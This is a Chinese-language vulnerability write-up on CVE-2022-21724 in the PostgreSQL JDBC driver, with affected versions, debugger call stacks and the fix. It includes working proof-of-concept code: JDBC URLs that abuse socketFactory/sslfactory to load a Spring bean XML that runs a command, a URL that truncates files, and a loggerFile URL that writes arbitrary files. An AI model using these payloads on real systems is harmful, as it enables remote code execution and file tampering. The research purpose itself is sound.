声明
以下内容,来自先知社区的标准云作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。
JDBC Java数据库连接(Java Database Con-nectivity)是Java语言中用来规范客户端如何访问数据库的应用程序接口,具体讲就是通过Java连接广泛数据库,并对表中数据执行增、删、改、查等操作的技术。
当程序中JDBC连接URL可控时,可能会造成安全问题。比较具有代表性的就是JDBC反序列化漏洞,是在于mysql数据库连接时产生的。
漏洞简介
在PostgreSQL数据库的jdbc驱动程序中发现一个安全漏洞。当攻击者控制jdbc url或者属性时,使用PostgreSQL数据库的系统将受到攻击。
pgjdbc根据通过authenticationPluginClassName-sslhostnameverifier,socketFactory,sslfactory,sslpasswordcallback连接属性提供类名实例化插件实例。但是,驱动程序在实例化类之前没有验证类是否实现了预期的接口。这可能导致通过任意类加载远程代码执行。
影响范围:
9.4.1208 <=PgJDBC <42.2.25
42.3.0 <=PgJDBC < 42.3.2
漏洞复现
创建maven项目,添加依赖
<!-- https://mvnrepository.com/artifact/org.postgresql/postgresql -->
<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.3.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-context-support -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context-support</artifactId>
<version>5.3.23</version>
</dependency>
编写测试代码
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
public class cve202221724 {
public static void main(String[] args) throws SQLException {
String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
String socketFactoryArg = "http://127.0.0.1:8080/bean.xml";
String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test/?socketFactory="+socketFactoryClass+ "&socketFactoryArg="+socketFactoryArg;
Connection connection = DriverManager.getConnection(jdbcUrl);
}
}
bean.xml
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<!-- 普通方式创建类-->
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>calc.exe</value>
</list>
</constructor-arg>
</bean>
</beans>
漏洞分析
任意代码执行socketFactory/socketFactoryArg
先将调试后的流程大概画出
java.sql.DriverManager#getConnection(java.lang.String)
java.sql.DriverManager#getConnection(java.lang.String, java.util.Properties, java.lang.Class<?>)
利用org.postgresql.Driver的jdbc驱动去连接数据库
org.postgresql.Driver#connect
调用makeConnection去连接数据库
org.postgresql.Driver#makeConnection
org.postgresql.jdbc.PgConnection#PgConnection
org.postgresql.core.ConnectionFactory#openConnection
org.postgresql.core.v3.ConnectionFactoryImpl#openConnectionImpl
org.postgresql.core.SocketFactoryFactory#getSocketFactory
PGProperty是枚举类型,其中的get方法是判断枚举项的值有没有传入的properties,如果存在就查找返回,没有就返回默认值
SOCKET_FACTORY(
"socketFactory",
null,
"Specify a socket factory for socket creation"),
SOCKET_FACTORY_ARG(
"socketFactoryArg",
null,
"Argument forwarded to constructor of SocketFactory class."),
org.postgresql.util.ObjectFactory#instantiate
通过newInstance来实现对ctor类的创建,同时args作为参数。构造方法中有且只有一个String参数的类就可以满足条件。
org.apache.commons.jxpath.functions.ConstructorFunction
org.apache.commons.jxpath.functions.MethodFunction
java.io.FileOutputStream
通过利用CVE-2017-17485实现Spring spel执行任意命令或者利用 FileOutputStream将任意文件置空
(jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=java.io.FileOutputStream&socketFactoryArg=test.txt)
任意代码执行
sslfactory/sslfactoryarg
<init>:85, ClassPathXmlApplicationContext (org.springframework.context.support)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
instantiate:62, ObjectFactory (org.postgresql.util)
getSslSocketFactory:64, SocketFactoryFactory (org.postgresql.core)
convert:34, MakeSSL (org.postgresql.ssl)
enableSSL:546, ConnectionFactoryImpl (org.postgresql.core.v3)
tryConnect:151, ConnectionFactoryImpl (org.postgresql.core.v3)
openConnectionImpl:215, ConnectionFactoryImpl (org.postgresql.core.v3)
openConnection:51, ConnectionFactory (org.postgresql.core)
<init>:225, PgConnection (org.postgresql.jdbc)
makeConnection:466, Driver (org.postgresql)
connect:265, Driver (org.postgresql)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:17, cve202221724
org.postgresql.core.v3.ConnectionFactoryImpl#openConnectionImpl
尝试与数据库进行连接
org.postgresql.core.v3.ConnectionFactoryImpl#tryConnect
建立连接后收到请求以S开头,进入
org.postgresql.ssl.MakeSSL#convert
org.postgresql.core.v3.ConnectionFactoryImpl#enableSSL
org.postgresql.ssl.MakeSSL#convert
org.postgresql.core.SocketFactoryFactory#getSslSocketFactory
任意文件写入
loggerLevel/loggerFile
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
public class cve202221724 {
public static void main(String[] args) throws SQLException {
String loggerLevel = "debug";
String loggerFile = "test.txt";
String shellContent="test";
String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+ "&"+shellContent;
Connection connection = DriverManager.getConnection(jdbcUrl);
}
}
org.postgresql.Driver#connect
org.postgresql.Driver#setupLoggerFromProperties
通过设置扩展参数LOGGER_FILE指定日志文件保存位置,没有进行校验,所以可以跨目录的保存文件,生成临时文件,之后将日志信息保存到文件中org.postgresql.Driver#connect。先通过setupLoggerFromProperties设定相关的参数,然后再利用LOGGER.log保存文件
漏洞修复
针对代码执行的漏洞而言,要求获取的类名必须是指定类的子类,否则就抛出异常
对于任意文件写入而言,高版本中移除了对日志文件的设定操作
setupLoggerFromProperties(props);
欢迎关注长白山攻防实验室微信公众号定期更新优质文章及资源